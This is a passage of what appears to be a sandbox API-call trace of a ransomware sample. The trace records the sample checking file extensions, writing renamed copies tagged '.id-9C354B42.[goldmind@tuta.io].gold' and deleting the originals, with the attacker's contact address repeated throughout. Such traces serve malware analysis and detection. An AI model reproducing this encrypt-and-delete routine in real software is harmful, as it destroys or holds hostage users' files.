returned 5 [0043.250] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.250] lstrlenW (lpString=".ppt") returned 4 [0043.250] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.250] lstrlenW (lpString=".zip") returned 4 [0043.250] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.250] lstrlenW (lpString=".rar") returned 4 [0043.250] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.250] lstrlenW (lpString=".bz2") returned 4 [0043.250] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.250] lstrlenW (lpString=".7z") returned 3 [0043.250] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.250] lstrlenW (lpString=".dbf") returned 4 [0043.250] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.250] lstrlenW (lpString=".1cd") returned 4 [0043.250] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.250] lstrlenW (lpString=".jpg") returned 4 [0043.250] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.250] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0043.250] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.251] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1675) returned 1 [0043.251] CloseHandle (hObject=0x20c) returned 1 [0043.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0043.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.251] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.251] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0043.253] GetLastError () returned 0x0 [0043.253] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x68b, lpOverlapped=0x0) returned 1 [0043.429] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x690, lpOverlapped=0x0) returned 1 [0043.430] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.430] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.430] SetEndOfFile (hFile=0x204) returned 1 [0043.430] CloseHandle (hObject=0x204) returned 1 [0043.430] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.430] SetEndOfFile (hFile=0x20c) returned 1 [0043.431] CloseHandle (hObject=0x20c) returned 1 [0043.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.431] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0043.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.431] lstrlenW (lpString=".doc") returned 4 [0043.431] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.431] lstrlenW (lpString=".docx") returned 5 [0043.431] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.431] lstrlenW (lpString=".pdf") returned 4 [0043.431] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.431] lstrlenW (lpString=".xls") returned 4 [0043.431] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.431] lstrlenW (lpString=".xlsx") returned 5 [0043.431] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.431] lstrlenW (lpString=".ppt") returned 4 [0043.432] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.432] lstrlenW (lpString=".zip") returned 4 [0043.432] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString=".rar") returned 4 [0043.432] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString=".bz2") returned 4 [0043.432] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.432] lstrlenW (lpString=".7z") returned 3 [0043.432] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.432] lstrlenW (lpString=".dbf") returned 4 [0043.432] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.432] lstrlenW (lpString=".1cd") returned 4 [0043.432] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.432] lstrlenW (lpString=".jpg") returned 4 [0043.432] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.432] lstrlenW (lpString=".doc") returned 4 [0043.432] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.432] lstrlenW (lpString=".docx") returned 5 [0043.432] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.432] lstrlenW (lpString=".pdf") returned 4 [0043.432] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString=".xls") returned 4 [0043.432] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString=".xlsx") returned 5 [0043.432] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.432] lstrlenW (lpString=".ppt") returned 4 [0043.432] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.432] lstrlenW (lpString=".zip") returned 4 [0043.432] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString=".rar") returned 4 [0043.432] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.432] lstrlenW (lpString=".bz2") returned 4 [0043.432] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.432] lstrlenW (lpString=".7z") returned 3 [0043.432] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.432] lstrlenW (lpString=".dbf") returned 4 [0043.432] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.433] lstrlenW (lpString=".1cd") returned 4 [0043.433] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0043.433] lstrlenW (lpString=".jpg") returned 4 [0043.433] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.433] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0043.433] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0043.918] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1571) returned 1 [0043.918] CloseHandle (hObject=0x18c) returned 1 [0043.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0043.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0043.918] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.918] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.919] GetLastError () returned 0x0 [0043.919] ReadFile (in: hFile=0x18c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x623, lpOverlapped=0x0) returned 1 [0043.920] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x630, lpOverlapped=0x0) returned 1 [0043.921] ReadFile (in: hFile=0x18c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.921] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.921] SetEndOfFile (hFile=0x19c) returned 1 [0043.921] CloseHandle (hObject=0x19c) returned 1 [0043.922] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.922] SetEndOfFile (hFile=0x18c) returned 1 [0043.922] CloseHandle (hObject=0x18c) returned 1 [0043.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.922] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString=".doc") returned 4 [0043.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.923] lstrlenW (lpString=".docx") returned 5 [0043.923] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.923] lstrlenW (lpString=".pdf") returned 4 [0043.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString=".xls") returned 4 [0043.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString=".xlsx") returned 5 [0043.923] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.923] lstrlenW (lpString=".ppt") returned 4 [0043.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString=".zip") returned 4 [0043.923] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString=".rar") returned 4 [0043.923] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString=".bz2") returned 4 [0043.923] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.923] lstrlenW (lpString=".7z") returned 3 [0043.923] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString=".dbf") returned 4 [0043.923] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString=".1cd") returned 4 [0043.923] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString=".jpg") returned 4 [0043.923] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString=".doc") returned 4 [0043.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.923] lstrlenW (lpString=".docx") returned 5 [0043.923] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.923] lstrlenW (lpString=".pdf") returned 4 [0043.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString=".xls") returned 4 [0043.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString=".xlsx") returned 5 [0043.923] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.923] lstrlenW (lpString=".ppt") returned 4 [0043.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.923] lstrlenW (lpString=".zip") returned 4 [0043.924] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.924] lstrlenW (lpString=".rar") returned 4 [0043.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.924] lstrlenW (lpString=".bz2") returned 4 [0043.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.924] lstrlenW (lpString=".7z") returned 3 [0043.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.924] lstrlenW (lpString=".dbf") returned 4 [0043.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.924] lstrlenW (lpString=".1cd") returned 4 [0043.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0043.924] lstrlenW (lpString=".jpg") returned 4 [0043.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.924] lstrcmpiW (lpString1=".inc", lpString2=".gold") returned 1 [0043.924] lstrlenW (lpString="oledbvbs.inc") returned 12 [0043.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.002] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=9975) returned 1 [0044.002] CloseHandle (hObject=0x19c) returned 1 [0044.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0044.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString=".doc") returned 4 [0044.003] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0044.003] lstrlenW (lpString=".docx") returned 5 [0044.003] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0044.003] lstrlenW (lpString=".pdf") returned 4 [0044.003] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString=".xls") returned 4 [0044.003] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString=".xlsx") returned 5 [0044.003] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0044.003] lstrlenW (lpString=".ppt") returned 4 [0044.003] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString=".zip") returned 4 [0044.003] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString=".rar") returned 4 [0044.003] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString=".bz2") returned 4 [0044.003] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0044.003] lstrlenW (lpString=".7z") returned 3 [0044.003] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString=".dbf") returned 4 [0044.003] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString=".1cd") returned 4 [0044.003] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString=".jpg") returned 4 [0044.003] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString=".doc") returned 4 [0044.003] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0044.003] lstrlenW (lpString=".docx") returned 5 [0044.003] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0044.003] lstrlenW (lpString=".pdf") returned 4 [0044.003] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString=".xls") returned 4 [0044.003] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString=".xlsx") returned 5 [0044.003] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0044.003] lstrlenW (lpString=".ppt") returned 4 [0044.003] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.003] lstrlenW (lpString=".zip") returned 4 [0044.003] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString=".rar") returned 4 [0044.003] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0044.003] lstrlenW (lpString=".bz2") returned 4 [0044.004] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0044.004] lstrlenW (lpString=".7z") returned 3 [0044.004] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0044.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.004] lstrlenW (lpString=".dbf") returned 4 [0044.004] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0044.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.004] lstrlenW (lpString=".1cd") returned 4 [0044.004] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0044.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0044.004] lstrlenW (lpString=".jpg") returned 4 [0044.004] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0044.004] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0044.004] lstrlenW (lpString="btn-next-static.png") returned 19 [0044.004] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.290] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3580) returned 1 [0044.296] CloseHandle (hObject=0x210) returned 1 [0044.309] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0044.309] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.309] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.309] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.309] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 